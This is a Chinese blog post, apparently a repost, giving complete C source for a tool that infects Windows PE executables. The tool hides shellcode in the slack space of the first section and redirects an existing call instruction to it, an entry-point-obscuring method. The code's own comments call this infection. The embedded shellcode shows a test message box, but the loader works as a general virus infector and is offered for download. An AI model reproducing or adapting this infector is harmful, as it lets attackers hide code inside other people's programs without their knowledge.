EPO+插缝植入用户自定义代码的另一种方法
来源:互联网 发布:网络维护的重要性 编辑:程序博客网 时间:2024/05/03 02:09
这种方法通用性比较好,通过查找E8,改变call的流程来达到我们的目的.同样它也是通过插缝来写入代码的!
//-----------------------------------------------------------------------------------------------------------------------------//
#include <windows.h>
#include "stdio.h"
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[20];
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;
unsigned char thunkcode[] = "\x60\x9C\x6A\x00\xE8\x07\x00\x00\x00\xD2"
"\xB9\xC9\xF1\xD4\xC2\x00\xE8\x0D\x00\x00"
"\x00\x65\x70\x6F\x2B\xB2\xE5\xB7\xEC\xB2"
"\xE2\xCA\xD4\x00\x6A\x00\xB8\x8A\x05\xD5"
"\x77\xFF\xD0\x9D\x61";
BYTE data_jmp[6]={0xe9,0x90,0x90,0x90,0x90,0x90};
void usage();
int main(int argc, char* argv[])
{
HANDLE hFile ;
HANDLE hMap ;
LPVOID pMapping ;
DWORD dwGapSize ;
unsigned char *pGapEntry ;
int i ;
DWORD OldEntry ;
int x = 0x18 ;
int vir_len ;
int flag=0;
unsigned char *pSearch ;
DWORD *dwCallNextAddr ;
DWORD *dwCallDataAddr ;
DWORD dwCodeDistance ;
DWORD *dwJmpAddr ;
DWORD dwJmpVA ;
if(argc!=2)
{
usage();
return -1;
}
strcpy(szHostFile,argv[1]);
//:::
hFile = CreateFile(szHostFile,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL) ;
if (hFile==INVALID_HANDLE_VALUE)
{
printf("Open host file failed!\n") ;
return -1 ;
}
int max_search=GetFileSize(hFile,0);
int shellsize=sizeof(thunkcode);
hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL) ;
if (!hMap)
{
printf("Create file mapping falied!\n") ;
return -1 ;
}
pMapping = MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0) ;
max_search=DWORD(max_search+(DWORD)pMapping);
if (!pMapping)
{
printf("Map view of file failed!\n") ;
return -1 ;
}
//::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
{
pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
{
//:::是合法的PE文件
//:::定位到节表头
pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
pImageDosHeader->e_lfanew+
sizeof(IMAGE_NT_HEADERS)) ;
//:::计算第一个节的空隙大小
dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
//:::如果代码缝隙小于thunk code的大小则感染失败
if (sizeof(thunkcode)>dwGapSize)
{
printf("no more space to fill!\n") ;
goto Close ;
}
//:::定位到代码末尾
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;
OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
vir_len = (int)pImageSectionHeader->Misc.VirtualSize+pImageSectionHeader->VirtualAddress-pImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
pSearch = (unsigned char *)(pImageNtHeaders->OptionalHeader.AddressOfEntryPoint+
-pImageSectionHeader->VirtualAddress+pImageSectionHeader->PointerToRawData+
(DWORD)pMapping);
//:::搜索call指令(0xe8)
for (i=0;i<vir_len;i++)
{
if (pSearch[i]==0xe8)
{
//:::call指令操作数地址
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
//:::call下条指令地址
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
//:::jmp指令地址
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
//:::Jmp指令在内存的虚拟地址VA
dwJmpVA = (DWORD)&pSearch[i]-((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+pImageSectionHeader->VirtualAddress;
//:::取jmp操作数,返回的时候使用
if((int)dwJmpAddr<=(int)pMapping||(int)dwJmpAddr>=max_search)
continue;
printf("我们找到的第一个符合条件的E8地址为:0x%08x\n",dwJmpVA);
//:::修改call操作数
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
//把thunk code写入目标宿主程序
for (i=0;i<sizeof(thunkcode);i++)
{
pGapEntry[i] = thunkcode[i];
}
dwCodeDistance=(DWORD)dwJmpAddr-((DWORD)pGapEntry+sizeof(thunkcode))-4;
for (i=3;i>=0;i--)
{
data_jmp[i+1] = (dwCodeDistance>>x)&0xff ;
x -= 8 ;
}
for(i=0;i<6;i++)
{
pGapEntry[i+sizeof(thunkcode)-1]=data_jmp[i];
}
flag=1;
break ;
}
}
}
}
else
{
printf("Invalid file format!\n") ;
}
if(flag!=0)
printf("操作成功\n");
else
printf("操作失败\n");
Close:
UnmapViewOfFile(pMapping) ;
CloseHandle(hMap) ;
CloseHandle(hFile) ;
return 0 ;
}
void usage()
{
printf("用法:\n");
printf("Loader.exe FileName\n");
printf("usage: \n");
printf("Loader.exe test.exe\n\n");
printf("\t\tcode by 夜神月\n");
}
//--------------------------------------------------------------------------------------------------------------------------------//
vc6.0通过!
点击下载
- EPO+插缝植入用户自定义代码的另一种方法
- EPO+插缝植入用户自定义代码的一种方法
- 另一种注释代码的方法.
- 木马植入的方法
- 自定义cell另一种方法
- 另一种创建代码模版的方法
- 3.简单的代码植入
- Android自定义View:另一种实现手表指针转动的方法
- 【代码备忘】VC判断自己窗口的另一种方法
- 伪装植入木马的常见方法
- strcat函数的另一种代码
- 关于 EPO 的一点想法
- 实现JNI的另一种方法:使用RegisterNatives方法传递和使用Java自定义类 (转)
- android UiAutomator自定义输出方法时,需要方法重载的另一种解决方案
- 学习工作流的另一种方法
- 调用方法的另一种方式
- 调用方法的另一种方式
- 控制小数位的另一种方法
- arp攻击器
- Android ListView详解(一篇写得还不错的文章)
- 一些wincap函数说明
- 通过ip获得远程主机的MAC
- 编程获得本地网卡信息
- EPO+插缝植入用户自定义代码的另一种方法
- Spring 定时器
- EPO+插缝植入用户自定义代码的一种方法
- 快速减肥的30种方法
- PE注入之旅
- 深入了解WM_DEVICECHANGE消息
- setboot
- SRS技术文档说明
- geoinformatics2012 会议总结